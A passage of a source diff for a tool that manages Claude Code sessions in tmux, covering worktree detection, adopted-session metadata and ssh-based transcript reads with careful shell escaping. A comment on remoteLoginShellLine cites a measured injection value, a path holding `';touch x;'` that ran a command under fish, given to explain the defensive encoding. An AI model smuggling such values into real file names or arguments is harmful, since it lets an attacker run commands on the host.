+            [...UPLOAD_DIR_NAMES, DISCORD_RECEIVED_DIR].some((name) => path.includes(`/${name}/`))
           ) {
             return true;
           }

src/live-worktree.ts

@@ -0,0 +1,100 @@
+/**
+ * @fileoverview Which linked git worktree a session's pane is in.
+ *
+ * Claude Code's worktree feature moves the running `claude` process into
+ * `<repo>/.claude/worktrees/<name>` part way through a session. `Session.workingDir` is the
+ * session's identity and stays on the main checkout, so the Files panel kept listing a tree the
+ * agent had left (#765). `Session.paneCwd` does follow: tmux reads the process cwd, measured with
+ * Claude Code 2.1.318 going into a worktree on EnterWorktree and back on ExitWorktree. It also
+ * follows every `cd` in a shell session, so it cannot be the panel's root by itself. This module
+ * answers the narrower question: is the pane inside a linked worktree, and which one.
+ *
+ * A linked worktree is recognised by its `.git` FILE (`gitdir: <repo>/.git/worktrees/<id>`) rather
+ * than by running `git worktree list`: this runs from the pane watcher whenever a directory
+ * changes, and a file read starts no process, no repository config and no filter.
+ *
+ * Only a folder strictly below `workingDir` is ever an answer: the file routes already serve
+ * everything under it, so following a pane there widens nothing, and a planted `.git` file can
+ * only move where the listing STARTS inside that same folder. A worktree outside it
+ * (`git worktree add ../feature`) stays unfollowed, since listing it would need a second
+ * confinement root.
+ *
+ * That answer is lexical and only as fresh as the last time the pane moved: a symlink can take the
+ * folder's place afterwards without moving the pane. So nothing here is a confinement decision.
+ * `GET /api/sessions/:id/files` resolves the folder on every request and walks it only while it
+ * really lies inside `workingDir` (`canWalkLiveWorktree()` in file-routes.ts), and the routes keep
+ * judging every path against `workingDir`.
+ *
+ * Probes are bounded (#516). The folder can sit on a mount that stopped answering, and an
+ * `unknown` answer stops the walk rather than being read as "no `.git` here".
+ *
+ * @module live-worktree
+ */
+
+import { constants, promises as fs } from 'node:fs';
+import { basename, dirname, join } from 'node:path';
+import { probePathKind } from './utils/bounded-path-probe.js';
+
+/** A linked worktree a session's pane is in. */
+export interface LiveWorktree {
+  /** The worktree folder's name, for display. */
+  name: string;
+  /** Absolute path, spelled like the session's `workingDir`. */
+  path: string;
+}
+
+/** More than any real `.git` file. It is read only to recognise the first line. */
+const MAX_DOT_GIT_FILE_BYTES = 4096;
+
+/**
+ * Whether the text of a `.git` file names a linked worktree's git dir
+ * (`<common dir>/worktrees/<id>`), as opposed to a submodule's (`<common dir>/modules/<name>`).
+ * The path may be relative: `git worktree add --relative-paths` writes it that way.
+ */
+export function isLinkedWorktreeGitFile(text: string): boolean {
+  const gitDir = /^gitdir:[ \t]*(.+?)[ \t]*$/m.exec(text)?.[1];
+  if (!gitDir) return false;
+  const segments = gitDir.split('/').filter(Boolean);
+  return segments.length >= 2 && segments[segments.length - 2] === 'worktrees';
+}
+
+/** What `<dir>/.git` says: a linked worktree's root, a boundary the walk must stop at, or nothing. */
+async function classifyDotGit(dir: string): Promise<'worktree' | 'stop' | 'none'> {
+  const dotGit = join(dir, '.git');
+  const kind = await probePathKind(dotGit);
+  if (kind === 'absent') return 'none';
+  // A `.git` directory is a repository of its own, and `unknown` is never read as absent.
+  if (kind !== 'file') return 'stop';
+  let handle: fs.FileHandle | undefined;
+  try {
+    // The probe follows symlinks and the file can change after it, so the open itself refuses:
+    // O_NOFOLLOW a symlink, and O_NONBLOCK a FIFO, which would otherwise wait for a writer and
+    // hold a threadpool worker for good. Whatever it did open is then judged on the handle.
+    handle = await fs.open(dotGit, constants.O_RDONLY | constants.O_NOFOLLOW | constants.O_NONBLOCK);
+    if (!(await handle.stat()).isFile()) return 'stop';
+    const { buffer, bytesRead } = await handle.read(Buffer.alloc(MAX_DOT_GIT_FILE_BYTES), 0, MAX_DOT_GIT_FILE_BYTES, 0);
+    return isLinkedWorktreeGitFile(buffer.toString('utf8', 0, bytesRead)) ? 'worktree' : 'stop';
+  } catch {
+    return 'stop';
+  } finally {
+    await handle?.close().catch(() => {});
+  }
+}
+
+/**
+ * The linked worktree strictly below `workingDir` that holds `cwd`, if any. Walks up from `cwd`
+ * and stops at `workingDir`, at a repository or submodule of its own, or at anything it cannot
+ * read. `workingDir` itself is never an answer: a session started in a worktree is already
+ * listing it. Never throws.
+ */
+export async function findLiveWorktree(workingDir: string, cwd: string | undefined): Promise<LiveWorktree | undefined> {
+  if (!cwd?.startsWith('/')) return undefined;
+  const root = workingDir.length > 1 ? workingDir.replace(/\/+$/, '') : workingDir;
+  const under = root === '/' ? '/' : `${root}/`;
+  for (let dir = cwd; dir !== root && dir.startsWith(under); dir = dirname(dir)) {
+    const found = await classifyDotGit(dir);
+    if (found === 'worktree') return { name: basename(dir), path: dir };
+    if (found === 'stop') return undefined;
+  }
+  return undefined;
+}

src/mux-interface.ts

@@ -26,6 +26,7 @@ import type {
   SessionRemote,
   SessionDocker,
   PaneExit,
+  SessionAdopt,
   StatusLineExporter,
 } from './types.js';
 
@@ -47,6 +48,13 @@ export interface MuxSession {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /**
+   * Adoption metadata for a wrapper session around a human-started tmux session.
+   * Round-trips through `mux-sessions.json` like remote/docker: without it a
+   * restored wrapper would not know what to re-attach to, and `killSession`
+   * would lose the detach-not-kill guard.
+   */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
   owner?: string;
   /** Session mode */
@@ -139,6 +147,8 @@ export interface CreateSessionOptions {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /** Adoption metadata; its presence selects the foreign-attach launch command. */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode; persisted for recovery. */
   owner?: string;
 }
@@ -196,6 +206,8 @@ export interface RespawnPaneOptions {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
+  adopt?: SessionAdopt;
   /** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
   owner?: string;
 }
@@ -271,7 +283,7 @@ export interface PaneCaptureOptions {
  * - `sessionKilled` (data: { sessionId: string }) - Session terminated
  * - `sessionDied` (data: { sessionId: string }) - Session died unexpectedly
  * - `statsUpdated` (sessions: MuxSessionWithStats[]) - Stats refreshed
- * - `paneExitsUpdated` () - A pane read finished; ask `getPaneExit()` per session
+ * - `paneExitsUpdated` () - A pane read finished; ask `getPaneExit()` (and `getPaneCurrentPath()`) per session
  */
 export interface TerminalMultiplexer extends EventEmitter {
   /** Which backend this instance uses */
@@ -396,6 +408,16 @@ export interface TerminalMultiplexer extends EventEmitter {
    */
   getPaneExit?(muxName: string): PaneExit | undefined;
 
+  /**
+   * The directory the session's pane was in at the last pane read
+   * (`#{pane_current_path}`), or `undefined` when unknown. Read from the same
+   * batched watcher as {@link getPaneExit}, so it costs no tmux call. A relative
+   * path printed in the terminal resolves against it; it is never a
+   * confinement root. A multiplexer without it leaves relative paths resolving
+   * against `workingDir`.
+   */
+  getPaneCurrentPath?(muxName: string): string | undefined;
+
   /**
    * How many authoritative pane reads have agreed on the exit `getPaneExit()`
    * reports, or 0 when it reports none. The exited-agent sweep closes a session

src/reboot-restore.ts

@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
     | 'agent-exited'
     | 'respawn-blocked'
     | 'remote-or-docker'
+    | 'adopted'
     | 'unsupported-mode'
     | 'no-working-dir'
     | 'workspace-missing'
@@ -224,6 +225,15 @@ export function planRebootRestore(
       skipped.push({ sessionId, reason: 'remote-or-docker' });
       continue;
     }
+    if (state.adopt) {
+      // ⚠️ Same family as the rule above, different reason. Codeman never started the
+      // process this session wrapped: all it ever had was an attach command. Replaying
+      // that builds a connection to a foreign session that a reboot has almost certainly
+      // taken with it, and, worse, the rebuilt tab would present whatever the attach
+      // lands on as a session we restored, passing someone else's work off as ours.
+      skipped.push({ sessionId, reason: 'adopted' });
+      continue;
+    }
     // Capability, not a CLI id: this pass resumes by handing the CLI a conversation
     // id through the top-level `resumeSessionId`, which only a CLI whose history the
     // claude-jsonl reader understands can consume that way. Others carry their thread

src/remote-files.ts

@@ -17,9 +17,9 @@
  *
  * ⚠️ The path is the injection surface: it arrives from the browser (`?path=`). It is
  * always interpolated as a single `shellescape`d token, and the whole remote command
- * is itself shellescaped into the ssh line, so the local shell and the remote shell
- * each see one opaque argument. Never build a command here by concatenating a raw
- * path into the string.
+ * is {@link remoteLoginShellLine} shellescaped into the ssh line, so the local shell
+ * and the remote login shell each see one opaque argument, whichever shell that is.
+ * Never build a command here by concatenating a raw path into the string.
  *
  * Read-only by design: previews, text reads and streaming. Writing to a remote file
  * is deliberately NOT implemented (docs/file-viewer-edit-plan.md §6), nor are the
@@ -30,8 +30,9 @@ import { exec, spawn } from 'node:child_process';
 import { promisify } from 'node:util';
 import { PassThrough, type Readable } from 'node:stream';
 import type { SessionRemote } from './types/session.js';
-import { buildSshConnectionArgs, remoteSshTarget, shellescape } from './remote-hosts.js';
+import { buildSshConnectionArgs, remoteSshTarget, shellescape, withRemoteTmuxPath } from './remote-hosts.js';
 import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
+import type { EditSourceReadOptions, EditSourceRequest, EditSources } from './edit-history-local-source.js';
 
 const execAsync = promisify(exec);
 
@@ -108,16 +109,42 @@ export class RemoteFileAccessError extends Error {
   }
 }
 
+/**
+ * A POSIX script as one line that every remote login shell reads the same way, and hands
+ * to `sh`.
+ *
+ * ⚠️ sshd gives the command to the user's LOGIN shell, and {@link shellescape} quotes for a
+ * POSIX one. Inside single quotes fish takes `\'` as a literal quote, so `'\''` stops
+ * closing and reopening the string, and csh and tcsh end a command at a newline even there
+ * and run the script line by line. Both let a path act as a command (measured: a path
+ * holding `';touch x;'` ran `touch x` under fish, and one holding a newline ran the next
+ * line under tcsh). So the script travels as `printf` text with the bytes those shells
+ * treat specially written as octal: no quote, backslash pair, newline or `!` for the login
+ * shell to read, and `%` so `printf` keeps its hands off too. Only `sh` sees the script.
+ */
+export function remoteLoginShellLine(script: string): string {
+  const text = Array.from(Buffer.from(script), (byte) => {
+    const char = String.fromCharCode(byte);
+    return byte < 0x20 || byte > 0x7e || "'\\%!".includes(char) ? `\\${byte.toString(8).padStart(3, '0')}` : char;
+  }).join('');
+  return `sh -c 'eval "$(printf "$1")"' sh '${text}'`;
+}
+
 /**
  * Wrap a remote shell command in the shared, shellescaped ssh line.
  *
  * The single entry point for "run this on the remote host": connection args (port,
  * identity, jump host, SOCKS ProxyCommand, extra `-o`) all come from
- * `buildSshConnectionArgs`, and the command is ONE shellescaped token, so a path with
- * spaces, quotes or `$(…)` cannot escape into the ssh command line.
+ * `buildSshConnectionArgs`, and the command is ONE shellescaped token holding
+ * {@link remoteLoginShellLine}, so a path with spaces, quotes or `$(…)` cannot escape
+ * into the ssh command line or the remote login shell.
  */
 export function buildRemoteFileCommand(remote: SessionRemote, shellCommand: string): string {
-  return [...buildSshConnectionArgs(remote), remoteSshTarget(remote), shellescape(shellCommand)].join(' ');
+  return [
+    ...buildSshConnectionArgs(remote),
+    remoteSshTarget(remote),
+    shellescape(remoteLoginShellLine(shellCommand)),
+  ].join(' ');
 }
 
 /**
@@ -413,6 +440,555 @@ export async function remoteReadFile(remote: SessionRemote, remotePath: string,
   }
 }
 
+/** Conversation ids are uuids; anything else never reaches the remote shell. */
+const CLAUDE_TRANSCRIPT_ID_PATTERN = /^[A-Za-z0-9._-]+$/;
+
+/** Exit status the edit-history scripts use for "no such transcript on that host". */
+const TRANSCRIPT_NOT_FOUND_EXIT = 3;
+
+/** Transcript files an edit-source request may name; nothing else reaches the shell. */
+const EDIT_SOURCE_REL_PATH_PATTERN = /^(main|subagents\/agent-[A-Za-z0-9_-]+\.jsonl)$/;
+
+/** The meta record's relPath; group 1 is the agentId. */
+const EDIT_SOURCE_META_REL_PATH_PATTERN = /^subagents\/agent-([A-Za-z0-9_-]+)\.meta\.json$/;
+
+/** Cap on one subagent `.meta.json` record (outside the transcript budget), as in the local reader. */
+const EDIT_SOURCE_META_MAX_BYTES = 8192;
+
+/**
+ * Cap on all meta records of one read (the local reader has none). A meta comes only with a
+ * subagent's first read, so one past the cap is never sent: that subagent's transcript is read
+ * as usual, and the panel names it by its id instead of its description.
+ */
+const EDIT_SOURCE_META_BUDGET_BYTES = 4 * 1024 * 1024;
+
+/** Room for the record headers (one per transcript file) on top of budget and metas. */
+const EDIT_SOURCE_HEADER_SLACK_BYTES = 1024 * 1024;
+
+/**
+ * Subagent requests per ssh round trip of an edit-history read. Like
+ * {@link REMOTE_PROBE_CHUNK_SIZE}: the script is ONE argument of the ssh line, Linux caps a
+ * single argv string at 128 KiB, and each request adds a `case` line of 139 bytes once
+ * encoded for the login shell (376 with the longest name a filesystem allows; the test pins
+ * that worst case). See {@link planRemoteEditSourceRounds}.
+ */
+const EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP = 300;
+
+/**
+ * The slowest link an edit-history read is given time for. Such a read can carry megabytes
+ * (a forward pass its budget plus the metas, "Load older" up to three budgets), which a flat
+ * {@link REMOTE_READ_TIMEOUT_MS} would cut off below ~1 MiB/s. 256 KiB/s ≈ 2 Mbit/s.
+ */
+const EDIT_SOURCE_MIN_BYTES_PER_SEC = 256 * 1024;
+
+/**
+ * Timeout of an edit-history read that may return up to `maxBytes`: the flat read timeout plus
+ * the transfer time at {@link EDIT_SOURCE_MIN_BYTES_PER_SEC}. It ends a hung read (a host that
+ * fell asleep mid-transfer; no keepalives, see the wake invariants), it does not cut a slow one.
+ */
+export function remoteEditSourcesTimeoutMs(maxBytes: number): number {
+  return REMOTE_READ_TIMEOUT_MS + Math.ceil((Math.max(0, maxBytes) / EDIT_SOURCE_MIN_BYTES_PER_SEC) * 1000);
+}
+
+/**
+ * The ssh line of an edit-history lookup or read: {@link buildRemoteFileCommand} with `exec`, so a
+ * timeout reaches ssh itself. Node signals the local `sh -c`, and dash stays the parent of a
+ * plain command, which would leave ssh running and the remote read holding its connection.
+ */
+export function buildRemoteEditHistoryCommand(remote: SessionRemote, shellCommand: string): string {
+  return `exec ${buildRemoteFileCommand(remote, shellCommand)}`;
+}
+
+const TMUX_NAME_PATTERN = /^[A-Za-z0-9._-]+$/;
+
+/** Where a remote session's agent runs: the remote tmux socket and session (`remoteTmuxLocation`). */
+export interface RemoteClaudePane {
+  socket: string;
+  sessionName: string;
+}
+
+function isByteCount(value: unknown): value is number {
+  return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0;
+}
+
+/** De-duplicated ids that match {@link CLAUDE_TRANSCRIPT_ID_PATTERN}, in order. */
+function safeClaudeTranscriptIds(ids: readonly string[]): string[] {
+  return [...new Set(ids)].filter((id) => CLAUDE_TRANSCRIPT_ID_PATTERN.test(id));
+}
+
+/** A main transcript path the read script takes: absolute, `<id>.jsonl`, no NUL or newline. */
+export function isRemoteClaudeTranscriptPath(path: string): boolean {
+  if (!path.startsWith('/') || !path.endsWith('.jsonl') || /[\0\n]/.test(path)) return false;
+  return CLAUDE_TRANSCRIPT_ID_PATTERN.test(path.slice(path.lastIndexOf('/') + 1, -'.jsonl'.length));
+}
+
+/**
+ * Shell lines that set `cfg` to claude's config dir on the remote host: an absolute
+ * `CLAUDE_CONFIG_DIR` from the ssh command's environment, else `$HOME/.claude`, claude's own
+ * rule. ⚠️ The remote claude runs under `$SHELL -i -l -c` (`remoteLoginShellCommand`), this
+ * script under a plain non-interactive `sh` from sshd's `$SHELL -c`: a `CLAUDE_CONFIG_DIR` set
+ * only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen
+ * here; one from `.zshenv`, sshd `SetEnv` or the system environment is.
+ */
+function claudeConfigDirLines(): string[] {
+  return ['cfg=$HOME/.claude', 'case ${CLAUDE_CONFIG_DIR:-} in /*) cfg=$CLAUDE_CONFIG_DIR ;; esac'];
+}
+
+/**
+ * Shell lines that set `live` to the conversation the claude in `pane` is writing NOW,
+ * or leave it empty; they need `cfg` ({@link claudeConfigDirLines}). Codeman launches a
+ * remote claude with `--session-id <id>`, but a `/clear` (or a resume picked inside claude)
+ * starts a new conversation, and with no hooks from a remote host Codeman never hears of it.
+ * claude itself keeps `<config dir>/sessions/<pid>.json` with the current `sessionId`, so: the
+ * pane's pid, its children and grandchildren (a wrapper shell may sit in between), the first
+ * of those with such a file. Only `[A-Za-z0-9._-]` survives the `sed`, the id pattern, so
+ * `$live` is safe unquoted. `ps -A -o pid= -o ppid=` is POSIX (no GNU `--ppid`).
+ *
+ * ⚠️ tmux runs on the PATH of every other remote tmux call ({@link withRemoteTmuxPath}): sshd's
+ * non-interactive shell may not list the directory it lives in, and a silent miss here leaves
+ * the panel on the launch conversation after a `/clear`. The `export` stays inside the `$(…)`,
+ * and inside this script, which runs under `sh` whatever the remote user's login shell is.
+ *
+ * ⚠️ `=name:` is an EXACT session match. Without the colon tmux reads a window target, so a
+ * session that is gone resolves to a window of that name or a session the name is a prefix of,
+ * and that session's conversation would land in this one's edit history.
+ */
+function liveClaudeIdLines(pane: RemoteClaudePane | undefined): string[] {
+  if (!pane || !TMUX_NAME_PATTERN.test(pane.socket) || !TMUX_NAME_PATTERN.test(pane.sessionName)) return [];
+  return [
+    'live=',
+    `pp=$(${withRemoteTmuxPath(`tmux -L ${shellescape(pane.socket)} list-panes -t ${shellescape(`=${pane.sessionName}:`)} -F '#{pane_pid}' 2>/dev/null | head -n 1`)})`,
+    "case $pp in ''|*[!0-9]*) pp= ;; esac",
+    'if [ -n "$pp" ]; then',
+    '  tree=$(ps -A -o pid= -o ppid= 2>/dev/null)',
+    '  kids=$(printf \'%s\\n\' "$tree" | awk -v p="$pp" \'$2 == p { print $1 }\')',
+    '  grand=$(for k in $kids; do printf \'%s\\n\' "$tree" | awk -v p="$k" \'$2 == p { print $1 }\'; done)',
+    '  for c in $pp $kids $grand; do',
+    '    f="$cfg/sessions/$c.json"',
+    '    [ -f "$f" ] || continue',
+    '    live=$(sed -n \'s/.*"sessionId":"\\([A-Za-z0-9._-]*\\)".*/\\1/p\' "$f" | head -n 1)',
+    '    [ -n "$live" ] && break',
+    '  done',
+    'fi',
+  ];
+}
+
+/**
+ * Script that finds a remote claude session's main transcript and prints `\0<path>\0`;
+ * exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when there is none. First the conversation the
+ * claude in `pane` writes now ({@link liveClaudeIdLines}); without one, the most recently
+ * written transcript of ALL `ids`, not the first id that has one: the conversation claude
+ * wrote last is the current one whether a `/clear` moved on from the launch id or a respawn
+ * resumed it again, and no order of the ids gets both right. Each id is looked up as
+ * `<config dir>/projects/*\/<id>.jsonl` ({@link claudeConfigDirLines}). `$HOME` is expanded
+ * by the REMOTE shell: the transcript lives in the remote user's home, which the server
+ * cannot know.
+ *
+ * ⚠️ Runs under an explicit `sh` with `LC_ALL=C`: sshd runs a command in the remote user's
+ * LOGIN shell, and on a zsh host `ls` can be an alias and an unmatched glob aborts the whole
+ * script ("no matches found"). So: no `ls` at all, the newest file wins via `-nt`, and an
+ * `[ -f ]` guard on every glob. `C` makes bracket ranges and glob order plain bytes.
+ */
+export function buildRemoteClaudeTranscriptLocateCommand(ids: readonly string[], pane?: RemoteClaudePane): string {
+  const safeIds = safeClaudeTranscriptIds(ids);
+  if (safeIds.length === 0) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
+  const liveLines = liveClaudeIdLines(pane);
+  const script = [
+    'LC_ALL=C',
+    'export LC_ALL',
+    'best=',
+    ...claudeConfigDirLines(),
+    // newest <id>: `best` becomes that id's transcript if it is newer than the current best.
+    // BusyBox's (and bash 3.2's) `-nt` compares whole seconds: a tie keeps the earlier id, the
+    // stored conversation, until the next write; only without a live id.
+    'newest() {',
+    '  for f in "$cfg"/projects/*/"$1".jsonl; do',
+    '    [ -f "$f" ] || continue',
+    '    if [ -z "$best" ] || [ "$f" -nt "$best" ]; then best=$f; fi',
+    '  done',
+    '}',
+    ...liveLines,
+    ...(liveLines.length ? ['[ -z "$live" ] || newest "$live"'] : []),
+    'if [ -z "$best" ]; then',
+    `  for id in ${safeIds.map((id) => shellescape(id)).join(' ')}; do newest "$id"; done`,
+    'fi',
+    `[ -n "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
+    'printf \'\\0%s\\0\' "$best"',
+  ].join('\n');
+  return `sh -c ${shellescape(script)}`;
+}
+
+/** The path from {@link buildRemoteClaudeTranscriptLocateCommand} output; null when there is none. */
+export function parseRemoteClaudeTranscriptLocate(stdout: Buffer): string | null {
+  const start = stdout.indexOf(0);
+  const end = start === -1 ? -1 : stdout.indexOf(0, start + 1);
+  if (end === -1) return null;
+  const path = stdout.toString('utf8', start + 1, end);
+  return isRemoteClaudeTranscriptPath(path) ? path : null;
+}
+
+/**
+ * Find a remote claude session's main transcript in ONE ssh round trip (see
+ * {@link buildRemoteClaudeTranscriptLocateCommand}). `null` when it has none; an unreachable
+ * host, an ssh failure or broken output is a `RemoteFileAccessError`. Never wakes a host: a
+ * sleeping one is a connect timeout, like every other read in this module.
+ */
+export async function remoteLocateClaudeTranscript(
+  remote: SessionRemote,
+  ids: readonly string[],
+  pane?: RemoteClaudePane
+): Promise<string | null> {
+  assertNotUnderTest();
+  const command = buildRemoteEditHistoryCommand(remote, buildRemoteClaudeTranscriptLocateCommand(ids, pane));
+  let stdout: Buffer;
+  try {
+    const result = await runWithRemoteSshLimit(() =>
+      execAsync(command, { timeout: REMOTE_READ_TIMEOUT_MS, maxBuffer: READ_BUFFER_SLACK_BYTES, encoding: 'buffer' })
+    );
+    stdout = Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
+  } catch (err) {
+    if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
+    throw new RemoteFileAccessError(
+      `remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
+    );
+  }
+  const path = parseRemoteClaudeTranscriptLocate(stdout);
+  if (!path) throw new RemoteFileAccessError('unexpected output from the remote transcript lookup');
+  return path;
+}
+
+/** The requests a read script may take: the first per relPath, valid ones only. */
+function validEditSourceRequests(requests: readonly EditSourceRequest[]): Map<string, EditSourceRequest> {
+  const byRelPath = new Map<string, EditSourceRequest>();
+  for (const request of requests) {
+    if (!request || typeof request.relPath !== 'string') continue;
+    if (!EDIT_SOURCE_REL_PATH_PATTERN.test(request.relPath)) continue;
+    if (!isByteCount(request.offset)) continue;
+    if (request.len !== undefined && !isByteCount(request.len)) continue;
+    if (byRelPath.has(request.relPath)) continue;
+    byRelPath.set(request.relPath, request);
+  }
+  return byRelPath;
+}
+
+/** One ssh round trip of an edit-history read ({@link planRemoteEditSourceRounds}). */
+export interface RemoteEditSourceRound {
+  requests: EditSourceRequest[];
+  /** It reads the main transcript: the first round trip of a read does. */
+  main: boolean;
+  /** It takes the subagent files after this name ('' = from the first), in byte order. */
+  after: string;
+  /** It takes them up to and including this name ('' = to the last). */
+  upTo: string;
+}
+
+/**
+ * The ssh round trips a read takes. Up to `perRound` subagent requests fit one; more are sorted
+ * and cut into groups of `perRound`, or the ssh line would hit `E2BIG` and the session would
+ * stay `unavailable`: the cursors have no cap and the stored conversation is read first, so
+ * not even a `/clear` would get past it.
+ *
+ * ⚠️ The cuts are NAME RANGES, not only groups of requests. The script takes a file that no
+ * `case` line names for a new one (its tail, its meta), so a plain group would read every
+ * file of the other groups as new. Each round trip walks only the names between its cuts; the
+ * ranges cover every possible name exactly once, so a new file lands in one of them and the
+ * merged result is the one a single script would give (the fuzz test compares it with the
+ * local reader).
+ */
+export function planRemoteEditSourceRounds(
+  requests: readonly EditSourceRequest[],
+  perRound: number = EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP
+): RemoteEditSourceRound[] {
+  const valid = validEditSourceRequests(requests);
+  const subagents = [...valid.values()].filter((request) => request.relPath !== 'main');
+  if (subagents.length <= perRound) return [{ requests: [...valid.values()], main: true, after: '', upTo: '' }];
+
+  const main = valid.get('main');
+  const fileName = (request: EditSourceRequest): string => request.relPath.slice('subagents/'.length);
+  subagents.sort((a, b) => (a.relPath < b.relPath ? -1 : 1));
+  const rounds: RemoteEditSourceRound[] = [];
+  for (let i = 0; i < subagents.length; i += perRound) {
+    const group = subagents.slice(i, i + perRound);
+    rounds.push({
+      requests: i === 0 && main ? [main, ...group] : group,
+      main: i === 0,
+      after: i === 0 ? '' : fileName(subagents[i - 1]),
+      upTo: i + perRound < subagents.length ? fileName(group[group.length - 1]) : '',
+    });
+  }
+  return rounds;
+}
+
+/** What {@link buildRemoteClaudeEditSourcesCommand} takes beyond the local reader's options. */
+export interface RemoteEditSourceCommandOptions extends EditSourceReadOptions {
+  /** Which part of a split read this command is; without it, all of it. */
+  round?: Pick<RemoteEditSourceRound, 'main' | 'after' | 'upTo'>;
+  /** Meta bytes this command may send; without it, {@link EDIT_SOURCE_META_BUDGET_BYTES}. */
+  metaBudget?: number;
+}
+
+/**
+ * Script for one round trip of a read of a remote claude session's main transcript at
+ * `mainPath` and its subagent transcripts (`<mainPath without .jsonl>/subagents/agent-<id>.jsonl`),
+ * with exactly the local reader's rules (`readClaudeEditSources`):
+ *
+ * - a request without `len` reads from `offset` (clamped to the size);
+ * - a request with `len` is a block that ends at `offset + len`: short of budget, its end;
+ * - a file without a request (one the caller has not seen) reads its last bytes, and a new
+ *   subagent's `.meta.json` (≤ {@link EDIT_SOURCE_META_MAX_BYTES}, outside the budget) comes
+ *   along as its own record; with `onlyRequested` such files are left out.
+ *
+ * `budgetBytes` is shared by all transcript files, main first, then the subagents in byte
+ * order. A file that gets none of it still produces a zero-length record, because the caller
+ * needs its size. Exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when `mainPath` is not a file. A read
+ * with more requests than fit one script is several of these ({@link planRemoteEditSourceRounds}).
+ *
+ * Output: `\0<transcriptId>\0`, then per record `<relPath>\0<size>\0<start>\0<len>\0`
+ * followed by exactly `<len>` raw bytes. Should a file shrink between `wc -c` and the read,
+ * the slice is NUL-padded to `<len>` so the framing never shifts.
+ *
+ * Inputs never reach the script unchecked: the path via {@link isRemoteClaudeTranscriptPath}
+ * (and shellescaped), relPaths via {@link EDIT_SOURCE_REL_PATH_PATTERN}, offsets and lengths as
+ * plain digits; anything invalid is dropped. A subagent file whose name the pattern would
+ * reject is skipped on the remote side too. Same `sh` + `LC_ALL=C` rules as the lookup.
+ */
+export function buildRemoteClaudeEditSourcesCommand(
+  mainPath: string,
+  requests: readonly EditSourceRequest[],
+  budgetBytes: number,
+  opts: RemoteEditSourceCommandOptions = {}
+): string {
+  if (!isRemoteClaudeTranscriptPath(mainPath)) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
+  const transcriptId = mainPath.slice(mainPath.lastIndexOf('/') + 1, -'.jsonl'.length);
+
+  const byRelPath = validEditSourceRequests(requests);
+  const budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
+  const requestArgs = (request: EditSourceRequest): string =>
+    `r ${request.offset} ${request.len === undefined ? "''" : String(request.len)}`;
+  const { main: readsMain, after, upTo } = opts.round ?? { main: true, after: '', upTo: '' };
+
+  const main = byRelPath.get('main');
+  const mainLine = !readsMain
+    ? ''
+    : main
+      ? `emit main "$best" ${requestArgs(main)}`
+      : opts.onlyRequested
+        ? ''
+        : 'emit main "$best" t 0 \'\'';
+  // The names come from validated relPaths, and `$0` stays a string: every name starts `agent-`.
+  const rangeFilter =
+    after || upTo
+      ? ` | awk -v after=${shellescape(after)} -v upto=${shellescape(upTo)} '$0 > after && (upto == "" || $0 <= upto)'`
+      : '';
+  const subagentCases = [...byRelPath.entries()]
+    .filter(([relPath]) => relPath !== 'main')
+    .map(([relPath, request]) => {
+      const name = relPath.slice('subagents/'.length);
+      return `    ${shellescape(name)}) emit "subagents/$b" "$f" ${requestArgs(request)} ;;`;
+    });
+  const newSubagent = opts.onlyRequested
+    ? ['    *) ;;']
+    : [
+        '    *) emit "subagents/$b" "$f" t 0 \'\'',
+        '      m=${f%.jsonl}.meta.json',
+        '      if [ -f "$m" ]; then',
+        '        fsize "$m"',
+        `        mn=$s; [ "$mn" -le ${EDIT_SOURCE_META_MAX_BYTES} ] || mn=${EDIT_SOURCE_META_MAX_BYTES}`,
+        '        if [ "$mn" -le "$mbudget" ]; then',
+        '          mbudget=$((mbudget - mn))',
+        '          printf \'%s\\0%s\\0%s\\0%s\\0\' "subagents/${b%.jsonl}.meta.json" "$s" 0 "$mn"',
+        '          [ "$mn" -eq 0 ] || bytes "$m" 0 "$mn"',
+        '        fi',
+        '      fi ;;',
+      ];
+
+  const script = [
+    'LC_ALL=C',
+    'export LC_ALL',
+    `best=${shellescape(mainPath)}`,
+    `[ -f "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
+    `printf '\\0%s\\0' ${shellescape(transcriptId)}`,
+    `budget=${budget}`,
+    `mbudget=${opts.metaBudget ?? EDIT_SOURCE_META_BUDGET_BYTES}`,
+    // Size via `wc -c <` (POSIX; BSD pads it with spaces, hence the tr).
+    'fsize() {',
+    '  s=$(wc -c < "$1" 2>/dev/null | tr -d \' \\t\\n\')',
+    "  case $s in ''|*[!0-9]*) s=0 ;; esac",
+    '}',
+    // Exactly $3 bytes of $1 from offset $2, NUL-padded if the file shrank meanwhile.
+    'bytes() {',
+    '  { tail -c +$(($2 + 1)) "$1" 2>/dev/null | head -c "$3"; head -c "$3" /dev/zero; } | head -c "$3"',
+    '}',
+    // emit <relPath> <file> <r|t> <offset> <len|''>: r = a request, t = the tail of a new file.
+    'emit() {',
+    '  fsize "$2"',
+    '  if [ "$3" = r ] && [ -n "$5" ]; then',
